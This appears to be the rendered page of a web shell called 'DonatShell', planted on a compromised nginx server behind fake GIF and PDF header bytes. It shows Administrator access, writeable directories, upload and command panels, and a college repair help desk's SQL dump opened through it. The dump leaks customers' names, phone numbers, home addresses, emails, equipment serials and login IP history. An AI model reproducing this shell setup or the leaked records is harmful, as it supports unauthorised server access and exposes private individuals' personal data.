GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/download/db/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/download/db/_Archive/HelpDesk.sql
# File name: D:\Data_WWW\CST\db\HelpDesk.sql
# Creation date: 02/08/2006
# Created by Access to MySQL 3.5 [Demo]
# --------------------------------------------------
# More conversion tools at http://www.convert-in.com

#
# Table structure for table 'ACPCity'
#

DROP TABLE IF EXISTS `ACPCity`;
CREATE TABLE `ACPCity` (
  `AreaCode` VARCHAR(255),
  `Prefix` VARCHAR(255),
  `City` VARCHAR(255),
  INDEX `AreaCode` (`AreaCode`)
) TYPE=InnoDB;

#
# Dumping data for table 'ACPCity'
#

LOCK TABLES `ACPCity` WRITE;
INSERT INTO `ACPCity` VALUES('218', '201', 'WARREN');
INSERT INTO `ACPCity` VALUES('218', '202', 'BAUDETTE');
INSERT INTO `ACPCity` VALUES('218', '203', 'GRYGLA');
INSERT INTO `ACPCity` VALUES('218', '204', 'KARLSTAD');
INSERT INTO `ACPCity` VALUES('218', '205', 'ST. CLOUD');
UNLOCK TABLES;

#
# Table structure for table 'Customer'
#

DROP TABLE IF EXISTS `Customer`;
CREATE TABLE `Customer` (
  `CustomerID` INT NOT NULL AUTO_INCREMENT,
  `CustomerNumber` VARCHAR(15) NOT NULL,
  `CustomerNumberTypeCode` VARCHAR(5),
  `CustomerName` VARCHAR(64) NOT NULL,
  `CustomerAddress1` VARCHAR(128),
  `CustomerAddress2` VARCHAR(128),
  `CustomerZip` VARCHAR(5),
  `CustomerAddDate` CHAR(19),
  `CustomerAddedBy` INT,
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `CustomerID` (`CustomerID`),
  INDEX `CustomerName` (`CustomerName`),
  INDEX `CustomerPhoneNumber` (`CustomerNumber`),
  INDEX `PhoneNumberTypeCode` (`CustomerNumberTypeCode`),
  PRIMARY KEY (`CustomerID`)
) TYPE=InnoDB;

#
# Dumping data for table 'Customer'
#

LOCK TABLES `Customer` WRITE;
INSERT INTO `Customer` VALUES(31, '3202346640', 'Home', 'Diane Krienke', 'unknown', "", '55350', '2004-09-07 11:45:33', 38, '2006-01-12 10:22:33', 97);
INSERT INTO `Customer` VALUES(32, '3203952058', 'Home', 'Bob Berquist', 'unknown', "", '55354', '2004-09-07 11:54:50', 37, NULL, NULL);
INSERT INTO `Customer` VALUES(33, '3205870669', 'Home', 'John Hamilton', '626 2nd ave sw', "", '55350', '2004-09-07 12:57:24', 37, NULL, NULL);
INSERT INTO `Customer` VALUES(34, '3205822462', 'Home', 'Miguel Cervantes', 'Unknown', "", '55350', '2004-09-07 14:15:25', 39, NULL, NULL);
INSERT INTO `Customer` VALUES(35, '3206936140', 'Home', 'Nancy Putzier', '62945 230th Street', "", '55355', '2004-09-07 15:11:39', 42, NULL, NULL);
UNLOCK TABLES;
ALTER TABLE `Customer` CHANGE `CustomerAddDate` `CustomerAddDate` DATETIME;
ALTER TABLE `Customer` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'Customer_EmailAddress'
#

DROP TABLE IF EXISTS `Customer_EmailAddress`;
CREATE TABLE `Customer_EmailAddress` (
  `CustomerID` INT NOT NULL,
  `CustomerEmailAddress` VARCHAR(128) NOT NULL,
  `CustomerEmailAddressIsPrimary` TINYINT,
  `CustomerEmailAddressIsValid` TINYINT,
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `CustomerID` (`CustomerID`),
  PRIMARY KEY (`CustomerID`, `CustomerEmailAddress`)
) TYPE=InnoDB;

#
# Dumping data for table 'Customer_EmailAddress'
#

LOCK TABLES `Customer_EmailAddress` WRITE;
INSERT INTO `Customer_EmailAddress` VALUES(42, 'jeff.polman@ridgewater.edu', -1, 0, '2004-09-08 12:11:03', 32);
INSERT INTO `Customer_EmailAddress` VALUES(46, 'kbdestroyer@hotmail.com', -1, 0, '2004-09-09 17:12:48', 49);
INSERT INTO `Customer_EmailAddress` VALUES(94, 'ANDREA.MOORE@NEWCENTURYCHARTER.COM', 0, 0, '2004-10-25 17:06:21', 38);
INSERT INTO `Customer_EmailAddress` VALUES(104, 'sbenjamin25@earthlink.net', -1, 0, '2004-11-12 12:01:41', 51);
INSERT INTO `Customer_EmailAddress` VALUES(109, 'jameskimbrough69@hotmail.com', -1, 0, '2004-11-29 12:10:41', 54);
UNLOCK TABLES;
ALTER TABLE `Customer_EmailAddress` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'Customer_PhoneNumber'
#

DROP TABLE IF EXISTS `Customer_PhoneNumber`;
CREATE TABLE `Customer_PhoneNumber` (
  `CustomerID` INT NOT NULL,
  `CustomerPhoneNumber` VARCHAR(15) NOT NULL,
  `CustomerPhoneNumberTypeCode` VARCHAR(5),
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `CustomerID` (`CustomerID`),
  INDEX `PhoneNumberTypeCode` (`CustomerPhoneNumberTypeCode`),
  PRIMARY KEY (`CustomerID`, `CustomerPhoneNumber`)
) TYPE=InnoDB;

#
# Dumping data for table 'Customer_PhoneNumber'
#

LOCK TABLES `Customer_PhoneNumber` WRITE;
INSERT INTO `Customer_PhoneNumber` VALUES(31, '3202343492', 'Work', '2006-01-12 10:22:33', 97);
INSERT INTO `Customer_PhoneNumber` VALUES(31, '3202825936', 'Home', '2006-01-12 10:22:33', 97);
INSERT INTO `Customer_PhoneNumber` VALUES(36, '3205101500', 'Cell', '2004-09-21 12:06:47', 37);
INSERT INTO `Customer_PhoneNumber` VALUES(39, '3205872046', 'Work', '2004-09-08 08:48:10', 35);
INSERT INTO `Customer_PhoneNumber` VALUES(40, '3205873867', 'Home', '2004-09-08 08:51:27', 1);
UNLOCK TABLES;
ALTER TABLE `Customer_PhoneNumber` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'EmailAddress'
#

DROP TABLE IF EXISTS `EmailAddress`;
CREATE TABLE `EmailAddress` (
  `EmailAddressID` INT NOT NULL AUTO_INCREMENT,
  `EmailAddress` VARCHAR(128),
  `EmailAddressIsPrimary` TINYINT,
  `EmailAddressIsValid` TINYINT,
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `EmailAddressID` (`EmailAddressID`),
  PRIMARY KEY (`EmailAddressID`)
) TYPE=InnoDB;

#
# Dumping data for table 'EmailAddress'
#

LOCK TABLES `EmailAddress` WRITE;
UNLOCK TABLES;
ALTER TABLE `EmailAddress` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'EquipmentManufacturer'
#

DROP TABLE IF EXISTS `EquipmentManufacturer`;
CREATE TABLE `EquipmentManufacturer` (
  `EquipmentManufacturerID` INT NOT NULL AUTO_INCREMENT,
  `EquipmentManufacturerCode` VARCHAR(10),
  `EquipmentManufacturerName` VARCHAR(255),
  `EquipmentManufacturerHidden` TINYINT,
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `EquipmentManufacturerCode` (`EquipmentManufacturerCode`),
  INDEX `ManufacturerID` (`EquipmentManufacturerID`),
  INDEX `Name` (`EquipmentManufacturerName`),
  PRIMARY KEY (`EquipmentManufacturerID`)
) TYPE=InnoDB;

#
# Dumping data for table 'EquipmentManufacturer'
#

LOCK TABLES `EquipmentManufacturer` WRITE;
INSERT INTO `EquipmentManufacturer` VALUES(1, 'Compaq', 'Compaq', 0, NULL, NULL);
INSERT INTO `EquipmentManufacturer` VALUES(2, 'HP', 'Hewlett-Packard', 0, NULL, NULL);
INSERT INTO `EquipmentManufacturer` VALUES(3, 'Dell', 'Dell', 0, NULL, NULL);
INSERT INTO `EquipmentManufacturer` VALUES(9, 'Microsoft', 'Microsoft Corporation', 0, '2004-04-04 12:17:13', 1);
INSERT INTO `EquipmentManufacturer` VALUES(10, 'IBM', 'International Business Machines, Inc.', 0, '2004-04-04 15:51:35', 1);
UNLOCK TABLES;
ALTER TABLE `EquipmentManufacturer` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'EquipmentType'
#

DROP TABLE IF EXISTS `EquipmentType`;
CREATE TABLE `EquipmentType` (
  `EquipmentTypeID` INT NOT NULL AUTO_INCREMENT,
  `EquipmentTypeName` VARCHAR(10),
  `EquipmentTypeDescription` VARCHAR(255),
  `EquipmentTypeIsMajor` TINYINT,
  `EquipmentTypeHidden` TINYINT,
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `EquipmentTypeID` (`EquipmentTypeID`),
  INDEX `Name` (`EquipmentTypeName`),
  PRIMARY KEY (`EquipmentTypeID`)
) TYPE=InnoDB;

#
# Dumping data for table 'EquipmentType'
#

LOCK TABLES `EquipmentType` WRITE;
INSERT INTO `EquipmentType` VALUES(1, 'Computer', 'System Unit', -1, 0, NULL, NULL);
INSERT INTO `EquipmentType` VALUES(2, 'Printer', 'Printer', -1, 0, NULL, NULL);
INSERT INTO `EquipmentType` VALUES(3, 'Keyboard', 'Computer Keyboard', 0, 0, NULL, NULL);
INSERT INTO `EquipmentType` VALUES(4, 'Monitor', 'Computer Monitor', -1, 0, NULL, NULL);
INSERT INTO `EquipmentType` VALUES(5, 'Mouse', 'Computer Mouse', 0, 0, NULL, NULL);
UNLOCK TABLES;
ALTER TABLE `EquipmentType` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'InstalledEquipment'
#

DROP TABLE IF EXISTS `InstalledEquipment`;
CREATE TABLE `InstalledEquipment` (
  `InstalledEquipmentID` INT NOT NULL AUTO_INCREMENT,
  `WorkReportID` INT NOT NULL,
  `EquipmentID` INT NOT NULL,
  `InstalledEquipmentDescription` VARCHAR(255),
  `InstalledEquipmentCost` DECIMAL(19,4) DEFAULT 0,
  `InstalledDate` CHAR(19),
  `InstalledBy` INT,
  INDEX `CustomerID` (`WorkReportID`),
  INDEX `EquipmentID` (`EquipmentID`),
  INDEX `IEID` (`InstalledEquipmentID`),
  PRIMARY KEY (`InstalledEquipmentID`)
) TYPE=InnoDB;

#
# Dumping data for table 'InstalledEquipment'
#

LOCK TABLES `InstalledEquipment` WRITE;
UNLOCK TABLES;
ALTER TABLE `InstalledEquipment` CHANGE `InstalledDate` `InstalledDate` DATETIME;

#
# Table structure for table 'JobOrder'
#

DROP TABLE IF EXISTS `JobOrder`;
CREATE TABLE `JobOrder` (
  `JobOrderID` INT NOT NULL AUTO_INCREMENT,
  `JobOrderNumber` VARCHAR(6),
  `CustomerID` INT NOT NULL,
  `JobOrderRework` TINYINT,
  `JobOrderData` TINYINT,
  `JobOrderSoftware` TINYINT,
  `JobOrderHardware` TINYINT,
  `JobOrderEntryDate` CHAR(19),
  `JobOrderEntryBy` INT,
  `JobOrderStatusID` INT DEFAULT 0,
  `JobOrderStatusDate` CHAR(19),
  `JobOrderStatusBy` INT,
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  `JobOrderHasWarnings` TINYINT,
  INDEX `CustomerID` (`CustomerID`),
  PRIMARY KEY (`JobOrderID`),
  INDEX `WorkOrderID` (`JobOrderID`),
  INDEX `WorkOrderStatusID` (`JobOrderStatusID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrder'
#

LOCK TABLES `JobOrder` WRITE;
INSERT INTO `JobOrder` VALUES(48, '049748', 31, 0, -1, -1, 0, '2004-09-07 11:49:47', 38, 9, '2004-09-15 16:53:41', 50, '2004-09-15 16:53:41', 50, 0);
INSERT INTO `JobOrder` VALUES(49, '049749', 32, 0, 0, 0, 0, '2004-09-07 11:57:43', 37, 9, '2004-10-12 13:20:55', 37, '2004-10-12 13:20:55', 37, 0);
INSERT INTO `JobOrder` VALUES(50, '049750', 33, 0, -1, -1, 0, '2004-09-07 13:02:57', 37, 9, '2004-10-15 09:51:41', 51, '2004-10-15 09:51:41', 51, 0);
INSERT INTO `JobOrder` VALUES(51, '049751', 34, 0, -1, -1, 0, '2004-09-07 14:19:05', 39, 9, '2004-09-13 17:20:26', 39, '2004-09-13 17:20:26', 39, 0);
INSERT INTO `JobOrder` VALUES(52, '049752', 35, 0, -1, -1, 0, '2004-09-07 15:19:29', 42, 9, '2004-09-16 14:13:46', 1, '2004-09-16 14:13:46', 1, 0);
UNLOCK TABLES;
ALTER TABLE `JobOrder` CHANGE `JobOrderEntryDate` `JobOrderEntryDate` DATETIME;
ALTER TABLE `JobOrder` CHANGE `JobOrderStatusDate` `JobOrderStatusDate` DATETIME;
ALTER TABLE `JobOrder` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'JobOrder_Action'
#

DROP TABLE IF EXISTS `JobOrder_Action`;
CREATE TABLE `JobOrder_Action` (
  `JobOrderID` INT NOT NULL DEFAULT 0,
  `JobOrderAction` LONGTEXT,
  PRIMARY KEY (`JobOrderID`),
  INDEX `WorkOrderID` (`JobOrderID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrder_Action'
#

LOCK TABLES `JobOrder_Action` WRITE;
INSERT INTO `JobOrder_Action` VALUES(48, 'Wipe and reinstall 
Check nic and intenet.');
INSERT INTO `JobOrder_Action` VALUES(49, 'Customer would like to speed up computer
Run Adaware/ spybot
anti virus
clean disk
defrag');
INSERT INTO `JobOrder_Action` VALUES(50, 'try to access data and back it up. Install 98se with owners cd and key code.');
INSERT INTO `JobOrder_Action` VALUES(51, 'Restore computer to factory settings');
INSERT INTO `JobOrder_Action` VALUES(52, 'Run Virus Scan, Spyware, and other Diagnostics.');
UNLOCK TABLES;

#
# Table structure for table 'JobOrder_Comment'
#

DROP TABLE IF EXISTS `JobOrder_Comment`;
CREATE TABLE `JobOrder_Comment` (
  `JobOrderID` INT NOT NULL DEFAULT 0,
  `JobOrderComment` LONGTEXT,
  PRIMARY KEY (`JobOrderID`),
  INDEX `WorkOrderID` (`JobOrderID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrder_Comment'
#

LOCK TABLES `JobOrder_Comment` WRITE;
INSERT INTO `JobOrder_Comment` VALUES(48, "");
INSERT INTO `JobOrder_Comment` VALUES(49, "");
INSERT INTO `JobOrder_Comment` VALUES(50, "");
INSERT INTO `JobOrder_Comment` VALUES(51, "");
INSERT INTO `JobOrder_Comment` VALUES(52, '2004-9-13  brought in windows 98 cd');
UNLOCK TABLES;

#
# Table structure for table 'JobOrder_InternalComment'
#

DROP TABLE IF EXISTS `JobOrder_InternalComment`;
CREATE TABLE `JobOrder_InternalComment` (
  `JobOrderID` INT NOT NULL DEFAULT 0,
  `JobOrderInternalComment` LONGTEXT,
  PRIMARY KEY (`JobOrderID`),
  INDEX `WorkOrderID` (`JobOrderID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrder_InternalComment'
#

LOCK TABLES `JobOrder_InternalComment` WRITE;
INSERT INTO `JobOrder_InternalComment` VALUES(48, "");
INSERT INTO `JobOrder_InternalComment` VALUES(49, "");
INSERT INTO `JobOrder_InternalComment` VALUES(50, 'ridgewater staff there should be no charge!!!!');
INSERT INTO `JobOrder_InternalComment` VALUES(51, "");
INSERT INTO `JobOrder_InternalComment` VALUES(52, "");
UNLOCK TABLES;

#
# Table structure for table 'JobOrder_MajorEquipment'
#

DROP TABLE IF EXISTS `JobOrder_MajorEquipment`;
CREATE TABLE `JobOrder_MajorEquipment` (
  `JobOrder_EquipmentID` INT NOT NULL AUTO_INCREMENT,
  `JobOrderID` INT DEFAULT 0,
  `EquipmentTypeID` INT DEFAULT 0,
  `EquipmentManufacturerID` INT DEFAULT 0,
  `EquipmentModelNumber` VARCHAR(32),
  `EquipmentSerialNumber` VARCHAR(64),
  `EquipmentDescription` VARCHAR(255),
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `EquipmentManufacturerID` (`EquipmentManufacturerID`),
  INDEX `EquipmentTypeID` (`EquipmentTypeID`),
  PRIMARY KEY (`JobOrder_EquipmentID`),
  INDEX `WorkOrde_rMajorEquipmentID` (`JobOrder_EquipmentID`),
  INDEX `WorkOrderID` (`JobOrderID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrder_MajorEquipment'
#

LOCK TABLES `JobOrder_MajorEquipment` WRITE;
INSERT INTO `JobOrder_MajorEquipment` VALUES(32, 48, 1, 1, 'Presario 5000', '3d13jd4lk11v', 'tower', '2004-09-15 16:53:41', 50);
INSERT INTO `JobOrder_MajorEquipment` VALUES(33, 49, 1, 2, 'Pavilion ze 4500', 'CNF3471BLD', 'Laptop', '2004-09-07 11:57:43', 37);
INSERT INTO `JobOrder_MajorEquipment` VALUES(34, 50, 1, 15, '266', '0009238989', 'gateway PC', '2004-09-07 13:11:40', 37);
INSERT INTO `JobOrder_MajorEquipment` VALUES(35, 51, 1, 1, 'Presario S4020WM', 'CNC323017L', 'Tower', '2004-09-13 17:20:26', 39);
INSERT INTO `JobOrder_MajorEquipment` VALUES(36, 52, 1, 19, 'pc14056', '9221-51056-17413', 'Monorail', '2004-09-13 19:16:27', 38);
UNLOCK TABLES;
ALTER TABLE `JobOrder_MajorEquipment` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'JobOrder_OtherEquipment'
#

DROP TABLE IF EXISTS `JobOrder_OtherEquipment`;
CREATE TABLE `JobOrder_OtherEquipment` (
  `JobOrder_EquipmentID` INT NOT NULL AUTO_INCREMENT,
  `JobOrderID` INT DEFAULT 0,
  `EquipmentTypeID` INT DEFAULT 0,
  `EquipmentManufacturerID` INT DEFAULT 0,
  `EquipmentDescription` VARCHAR(255),
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `EquipmentManufacturerID` (`EquipmentManufacturerID`),
  INDEX `EquipmentTypeID` (`EquipmentTypeID`),
  PRIMARY KEY (`JobOrder_EquipmentID`),
  INDEX `WorkOrde_rMajorEquipmentID` (`JobOrder_EquipmentID`),
  INDEX `WorkOrderID` (`JobOrderID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrder_OtherEquipment'
#

LOCK TABLES `JobOrder_OtherEquipment` WRITE;
INSERT INTO `JobOrder_OtherEquipment` VALUES(28, 48, 7, 1, 'Recovery cd', '2004-09-15 16:53:41', 50);
INSERT INTO `JobOrder_OtherEquipment` VALUES(29, 50, 7, 15, 'windows 98se cd', '2004-09-07 13:11:41', 37);
INSERT INTO `JobOrder_OtherEquipment` VALUES(30, 50, 7, 15, 'iomega  cd', '2004-09-07 13:11:41', 37);
INSERT INTO `JobOrder_OtherEquipment` VALUES(31, 50, 7, 15, 'gateway info highway cd / online compponents cd / windows 95 cd / system cd version 2.8.5', '2004-09-07 13:11:41', 37);
INSERT INTO `JobOrder_OtherEquipment` VALUES(32, 53, 7, 2, 'Restore CD (came inside cd drive', '2004-09-07 16:03:24', 39);
UNLOCK TABLES;
ALTER TABLE `JobOrder_OtherEquipment` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'JobOrder_Problem'
#

DROP TABLE IF EXISTS `JobOrder_Problem`;
CREATE TABLE `JobOrder_Problem` (
  `JobOrderID` INT NOT NULL DEFAULT 0,
  `JobOrderProblem` LONGTEXT,
  PRIMARY KEY (`JobOrderID`),
  INDEX `WorkOrderID` (`JobOrderID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrder_Problem'
#

LOCK TABLES `JobOrder_Problem` WRITE;
INSERT INTO `JobOrder_Problem` VALUES(48, 'Kepps freezing');
INSERT INTO `JobOrder_Problem` VALUES(49, 'Too slow');
INSERT INTO `JobOrder_Problem` VALUES(50, 'Computer boots and asks for a password.  Owner has never set a password. Customer would like any data that can be saved to be backed up then 
do an install of 98 se.');
INSERT INTO `JobOrder_Problem` VALUES(51, 'Unable to connect to the internet - numerous viruses, unable to remove');
INSERT INTO `JobOrder_Problem` VALUES(52, 'Contracted a Virus - Hundreds of E-Mails comming in. Then Computer shutdown & wouldn\'t open up again');
UNLOCK TABLES;

#
# Table structure for table 'JobOrder_StatusArchive'
#

DROP TABLE IF EXISTS `JobOrder_StatusArchive`;
CREATE TABLE `JobOrder_StatusArchive` (
  `JobOrder_StatusArchiveID` INT NOT NULL AUTO_INCREMENT,
  `JobOrderID` INT,
  `JobOrderStatusID` INT,
  `JobOrderStatusDate` CHAR(19),
  `JobOrderStatusBy` INT,
  PRIMARY KEY (`JobOrder_StatusArchiveID`),
  INDEX `WorkOrderHoldID` (`JobOrder_StatusArchiveID`),
  INDEX `WorkOrderID` (`JobOrderID`),
  INDEX `WorkOrderStatusID` (`JobOrderStatusID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrder_StatusArchive'
#

LOCK TABLES `JobOrder_StatusArchive` WRITE;
INSERT INTO `JobOrder_StatusArchive` VALUES(27, 56, 7, '2004-09-08 11:03:46', 35);
INSERT INTO `JobOrder_StatusArchive` VALUES(28, 58, 1, '2004-09-08 09:32:50', 35);
INSERT INTO `JobOrder_StatusArchive` VALUES(29, 62, 3, '2004-09-09 14:06:27', 1);
INSERT INTO `JobOrder_StatusArchive` VALUES(30, 51, 6, '2004-09-07 18:26:19', 40);
INSERT INTO `JobOrder_StatusArchive` VALUES(31, 57, 1, '2004-09-08 08:54:27', 1);
UNLOCK TABLES;
ALTER TABLE `JobOrder_StatusArchive` CHANGE `JobOrderStatusDate` `JobOrderStatusDate` DATETIME;

#
# Table structure for table 'JobOrderStatusType'
#

DROP TABLE IF EXISTS `JobOrderStatusType`;
CREATE TABLE `JobOrderStatusType` (
  `JobOrderStatusID` INT NOT NULL AUTO_INCREMENT,
  `JobOrderStatus` VARCHAR(8),
  `JobOrderStatusListOrder` TINYINT UNSIGNED,
  `JobOrderStatusDescription` VARCHAR(255),
  `JobOrderStatusColor` VARCHAR(32),
  `ActionRequired` TINYINT UNSIGNED DEFAULT 0,
  `CallCustomer` TINYINT UNSIGNED DEFAULT 0,
  `EquipmentPresent` TINYINT UNSIGNED DEFAULT 0,
  PRIMARY KEY (`JobOrderStatusID`),
  INDEX `WorkOrderHoldID` (`JobOrderStatusID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrderStatusType'
#

LOCK TABLES `JobOrderStatusType` WRITE;
INSERT INTO `JobOrderStatusType` VALUES(1, 'Open', 1, 'Continue work', 'Black', 1, 0, 1);
INSERT INTO `JobOrderStatusType` VALUES(2, 'On Hold', 2, 'Call customer for permission to perform action', 'Red', 1, 1, 1);
INSERT INTO `JobOrderStatusType` VALUES(3, 'On Hold', 3, 'Miscellaneous hold (see plan of action)', 'Blue', 1, 0, 1);
INSERT INTO `JobOrderStatusType` VALUES(4, 'On Hold', 4, 'Waiting for hardware or software (has been ordered)', 'Blue', 1, 0, 1);
INSERT INTO `JobOrderStatusType` VALUES(5, 'On Hold', 5, 'Order hardware or software', 'Red', 1, 0, 1);
UNLOCK TABLES;

#
# Table structure for table 'JobOrderStatusType_bak'
#

DROP TABLE IF EXISTS `JobOrderStatusType_bak`;
CREATE TABLE `JobOrderStatusType_bak` (
  `JobOrderStatusID` INT NOT NULL AUTO_INCREMENT,
  `JobOrderStatus` VARCHAR(8),
  `JobOrderStatusListOrder` TINYINT UNSIGNED,
  `JobOrderStatusDescription` VARCHAR(255),
  `JobOrderStatusColor` VARCHAR(32),
  `ActionRequired` TINYINT,
  `CallCustomer` TINYINT,
  `EquipmentPresent` TINYINT,
  PRIMARY KEY (`JobOrderStatusID`),
  INDEX `WorkOrderHoldID` (`JobOrderStatusID`)
) TYPE=InnoDB;

#
# Dumping data for table 'JobOrderStatusType_bak'
#

LOCK TABLES `JobOrderStatusType_bak` WRITE;
INSERT INTO `JobOrderStatusType_bak` VALUES(1, 'Open', 1, 'Continue work', 'Black', -1, 0, -1);
INSERT INTO `JobOrderStatusType_bak` VALUES(2, 'On Hold', 2, 'Call customer for permission to perform action', 'Red', -1, -1, -1);
INSERT INTO `JobOrderStatusType_bak` VALUES(3, 'On Hold', 3, 'Miscellaneous hold (see plan of action)', 'Blue', -1, 0, -1);
INSERT INTO `JobOrderStatusType_bak` VALUES(4, 'On Hold', 4, 'Waiting for hardware or software (has been ordered)', 'Blue', -1, 0, -1);
INSERT INTO `JobOrderStatusType_bak` VALUES(5, 'On Hold', 5, 'Order hardware or software', 'Red', -1, 0, -1);
UNLOCK TABLES;

#
# Table structure for table 'LoginHistory'
#

DROP TABLE IF EXISTS `LoginHistory`;
CREATE TABLE `LoginHistory` (
  `LoginHistoryID` INT NOT NULL AUTO_INCREMENT,
  `UserID` INT NOT NULL DEFAULT 0,
  `LoginDate` CHAR(19),
  `LoginIPDD` VARCHAR(12),
  `LoginIP` VARCHAR(15),
  `IsLoggedIn` TINYINT,
  `LogoutDate` CHAR(19),
  `LastAccessDate` CHAR(19),
  INDEX `LoginID` (`LoginHistoryID`),
  PRIMARY KEY (`LoginHistoryID`),
  INDEX `UserID` (`UserID`)
) TYPE=InnoDB;

#
# Dumping data for table 'LoginHistory'
#

LOCK TABLES `LoginHistory` WRITE;
INSERT INTO `LoginHistory` VALUES(201, 1, '2004-09-07 08:46:42', '170393610', '10.40.0.10', 0, NULL, '2006-01-25 11:00:43');
INSERT INTO `LoginHistory` VALUES(202, 1, '2004-09-07 09:16:29', '170393610', '10.40.0.10', 0, '2004-09-07 09:16:54', '2006-01-25 11:00:43');
INSERT INTO `LoginHistory` VALUES(203, 35, '2004-09-07 09:17:04', '170393610', '10.40.0.10', 0, NULL, '2005-12-12 19:10:21');
INSERT INTO `LoginHistory` VALUES(204, 35, '2004-09-07 09:51:53', '170393719', '10.40.0.119', 0, NULL, '2005-12-12 19:10:21');
INSERT INTO `LoginHistory` VALUES(205, 1, '2004-09-07 11:39:55', '170393610', '10.40.0.10', 0, NULL, '2006-01-25 11:00:43');
UNLOCK TABLES;
ALTER TABLE `LoginHistory` CHANGE `LoginDate` `LoginDate` DATETIME;
ALTER TABLE `LoginHistory` CHANGE `LogoutDate` `LogoutDate` DATETIME;
ALTER TABLE `LoginHistory` CHANGE `LastAccessDate` `LastAccessDate` DATETIME;

#
# Table structure for table 'Misc'
#

DROP TABLE IF EXISTS `Misc`;
CREATE TABLE `Misc` (
  `CheckInDisclaimer` LONGTEXT,
  `LabFee` DECIMAL(19,4)
) TYPE=InnoDB;

#
# Dumping data for table 'Misc'
#

LOCK TABLES `Misc` WRITE;
INSERT INTO `Misc` VALUES('Ridgewater College will not accept any liability or warranty claims against service and repair work done by students on computer equipment as part of their training program. This includes parts, materials, and workmanship. Defective parts will have manufacturer\'s warranty. We are a learning institution, not a repair facility in competition with local industry; therefore time estimates for repairs are not to be considered. An estimate for the costs will be given to you after the diagnosis of the problem has been made. CST will contact you when the work on your equipment is completed. A flat fee of $LabFee$ will be charged for labor. Parts are an add-on cost and will not be installed without verbal or written authorization by you. Your equipment will be released back to you upon full payment for labor and parts.', 25);
UNLOCK TABLES;

#
# Table structure for table 'PhoneAreaCode'
#

DROP TABLE IF EXISTS `PhoneAreaCode`;
CREATE TABLE `PhoneAreaCode` (
  `AreaCode` VARCHAR(3) NOT NULL,
  `Region` VARCHAR(2),
  `TimeZone` VARCHAR(7),
  `Description` VARCHAR(255),
  INDEX `AreaCode` (`AreaCode`),
  PRIMARY KEY (`AreaCode`)
) TYPE=InnoDB;

#
# Dumping data for table 'PhoneAreaCode'
#

LOCK TABLES `PhoneAreaCode` WRITE;
INSERT INTO `PhoneAreaCode` VALUES('11', "", "", 'Armed Forces or US protectorates');
INSERT INTO `PhoneAreaCode` VALUES('201', 'NJ', '-5', 'N New Jersey: Jersey City, Hackensack (see split 973, overlay 551)');
INSERT INTO `PhoneAreaCode` VALUES('202', 'DC', '-5', 'Washington, D.C.');
INSERT INTO `PhoneAreaCode` VALUES('203', 'CT', '-5', 'Connecticut: Fairfield County and New Haven County; Bridgeport, New Haven (see 860)');
INSERT INTO `PhoneAreaCode` VALUES('204', 'MB', '-6', 'Canada: Manitoba');
UNLOCK TABLES;

#
# Table structure for table 'PhoneNumberType'
#

DROP TABLE IF EXISTS `PhoneNumberType`;
CREATE TABLE `PhoneNumberType` (
  `PhoneNumberTypeCode` VARCHAR(4) NOT NULL,
  `PhoneNumberTypeDescription` VARCHAR(128),
  `PhoneNumberTypeHidden` TINYINT,
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `Code` (`PhoneNumberTypeCode`),
  PRIMARY KEY (`PhoneNumberTypeCode`)
) TYPE=InnoDB;

#
# Dumping data for table 'PhoneNumberType'
#

LOCK TABLES `PhoneNumberType` WRITE;
INSERT INTO `PhoneNumberType` VALUES('???', 'Unknown', 0, NULL, NULL);
INSERT INTO `PhoneNumberType` VALUES('Acct', 'Accounting (Billing) phone number and extension', -1, NULL, NULL);
INSERT INTO `PhoneNumberType` VALUES('Cell', 'Cellular phone number', 0, NULL, NULL);
INSERT INTO `PhoneNumberType` VALUES('Con', 'Contact phone number and extension', -1, NULL, NULL);
INSERT INTO `PhoneNumberType` VALUES('Fax', 'Facsimile machine phone number', -1, NULL, NULL);
UNLOCK TABLES;
ALTER TABLE `PhoneNumberType` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'PhonePrefixZip'
#

DROP TABLE IF EXISTS `PhonePrefixZip`;
CREATE TABLE `PhonePrefixZip` (
  `ZipCode` VARCHAR(5),
  `Prefix` VARCHAR(3),
